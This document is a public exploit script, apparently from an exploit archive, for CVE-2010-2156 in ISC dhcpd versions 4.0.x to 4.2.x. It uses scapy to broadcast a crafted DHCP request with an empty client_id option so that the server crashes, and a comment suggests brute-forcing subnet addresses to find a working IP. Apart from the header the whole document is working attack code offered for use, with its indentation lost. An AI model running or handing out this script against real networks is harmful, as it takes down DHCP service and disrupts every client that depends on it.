ISC DHCPd Denial Of Service

`#! /usr/bin/env python  
# Exploit title: isc-dhcpd DoS  
# Date: 03/07/2010   
# Author: sid  
# Software Link: https://www.isc.org/software/dhcp  
# Version: 4.0.x, 4.1.x, 4.2.x  
# CVE: cve-2010-2156  
# ps: is possible make a bruteforce on subnet ip address to find a correct value.  
#  
  
  
import sys  
import string  
  
if len(sys.argv) is 1:  
print("Usage: " + sys.argv[0] + "-ip=<legal ip in subnet>")  
print("Example: " + sys.argv[0] + " -ip=192.168.1.100")  
sys.exit(0)  
  
for i in range(len(sys.argv)):  
if string.find(sys.argv[i],"-ip") is 0:  
globals()['ip'] = sys.argv[i].split('=')[1]  
  
from scapy.all import *  
  
globals()['verbose'] = 2  
  
def msg(string, level):  
if globals()['verbose'] >= level:  
print(string)  
  
msg("attack...",2)  
p=(Ether(src="aa:aa:aa:aa:aa:aa",dst="ff:ff:ff:ff:ff:ff")/IP(dst="255.255.255.255")/UDP(sport=68,dport=67)/  
BOOTP(ciaddr=globals()['ip'],chaddr="\xaa\xaa\xaa\xaa\xaa\xaa")/  
DHCP(options=[("message-type","request"),("client_id",""),("end")]))  
  
if p:  
p.show()  
sendp(p)  
  
#EOF  
  
`